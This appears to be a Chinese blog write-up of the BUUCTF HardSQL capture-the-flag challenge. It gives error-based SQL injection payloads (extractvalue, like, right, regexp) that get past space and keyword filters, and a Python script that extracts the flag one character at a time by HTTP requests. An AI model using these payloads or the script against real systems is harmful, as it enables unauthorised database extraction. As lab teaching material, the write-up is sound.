当前位置: 首页 > article >正文

BUU26 [极客大挑战 2019]HardSQL1

输入一些SQL关键词,发现空格,=,union,and,by都被过滤了

=被过滤,就用like替代 

 

发现登录成功,可以注入

报错注入

注意

1.这里过滤了空格,就用()将内容包裹起来

比如说:select table_name from information_schema.tables

就可以换成:select(table_name)from(information_schema.tables)

2.过滤了=,where(table_name='geek')语句中的 = 就被过滤了,此时可以用 like 代替:

where(table_name)like('geek')

爆库名:

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

爆表名:

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema

)like('geek')),0x7e)))#

 

爆列名:这里限制条件只用写table_name='H4rDsq1'就行了,因为and被过滤了

这里注意是('H4rDsq1')

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)

where(table_name)like('H4rDsq1')),0x7e)))#

 爆password:这里就必须写(H4rDsq1)

1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))#

但是显示不完整 

发现substr也被过滤了,所以使用right或者regexp

right:

1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

拼接起来 

regexp:

regexp 是 SQL 中的正则表达式匹配运算符

url地址是直接复制的地址栏的地址,所以存在的都是编码后的字符,其原始语句为:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^f')),0x7e)))#【筛选出 H4rDsq1 表中 password 字段以 'f' 开头的记录】,可用payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad}')),0x7e)))#,验证正则匹配方式的正确性,脚本如下:

正则表达式中,^f表示匹配字符串以 f 开头 

import requests  #requests 模块用于发送 HTTP 请求,与目标服务器进行交互。
import time      #time 模块用于添加延迟,避免请求过于频繁导致服务器拒绝。
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~' #定义了可能出现在 flag 中的字符集
i = 1
flag = ''  #flag 用于存储已经猜测到的部分 flag,初始为空字符串。
while i < 80:
    for one_char in strings:
        one_char = flag + one_char#先把已经猜好的和新遍历的字符拼接起来
        url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"
        #将one_char转换成字符串,以这个新猜的字符串为开头看看能不能匹配上真正的flag
        #如果能匹配上,它会返回匹配上的flag{xxxxxxxx}
        #(因为本意是查询有没有符合条件的字符串),所以回显的文本里会有flag字样
        time.sleep(0.05) #暂停 0.05 秒,避免请求过于频繁。
        rs = requests.get(url)
        if 'flag' in rs.text:   #如果响应文本中包含 'flag',说明当前猜测的部分 flag 是正确的,
            flag = one_char
            print("\r", end="") #\r回车
            print('flag为:' + flag, end='')
            break

参考:[极客大挑战 2019]HardSQL-1 - upfine - 博客园

 

 

 


http://www.kler.cn/a/536012.html

相关文章:

  • JavaScript 中的 CSS 与页面响应式设计
  • 51单片机 02 独立按键
  • android 打包AAR-引入资源layout-安卓封包
  • Oracle(windows安装遇到的ORA-12545、ORA-12154、ORA-12541、ORA-12514等问题)
  • vs code 使用教程
  • Spring 核心技术解析【纯干货版】- IX:Spring 数据访问模块 Spring-Jdbc 模块精讲
  • Electron学习笔记,用node程序备份数据库(2)
  • Github 2025-02-07Java开源项目日报 Top9
  • 二叉树实现(学习记录)
  • 神经辐射场(NeRF):从2D图像到3D场景的革命性重建
  • Java面试题——事务
  • 【论文翻译】DeepSeek-V3论文翻译——DeepSeek-V3 Technical Report——第一部分:引言与模型架构
  • windows10环境下的Deepseek本地部署及接口调用
  • 网络安全威胁框架与入侵分析模型概述
  • 【PostgreSQL内核学习 —— (WindowAgg(三))】
  • golang命令大全12--命令速查表
  • Vue学习综合案例(四)
  • Spring的三级缓存如何解决循环依赖问题
  • 202412 青少年软件编程等级考试C/C++ 二级真题答案及解析
  • C++证件识别接口-身份证识别-护照识别-驾驶证识别-户口页识别
  • RabbitMQ 从入门到精通:从工作模式到集群部署实战(三)
  • 【AI大模型】Ubuntu18.04安装deepseek-r1模型+服务器部署+内网访问
  • Spring Boot篇
  • 如何查看linux机器有几个cpu
  • Mono里运行C#脚本41—编译MonoEmbed::gimme()调用的过程
  • Java实现数据库图片上传(包含从数据库拿图片传递前端渲染)-图文详解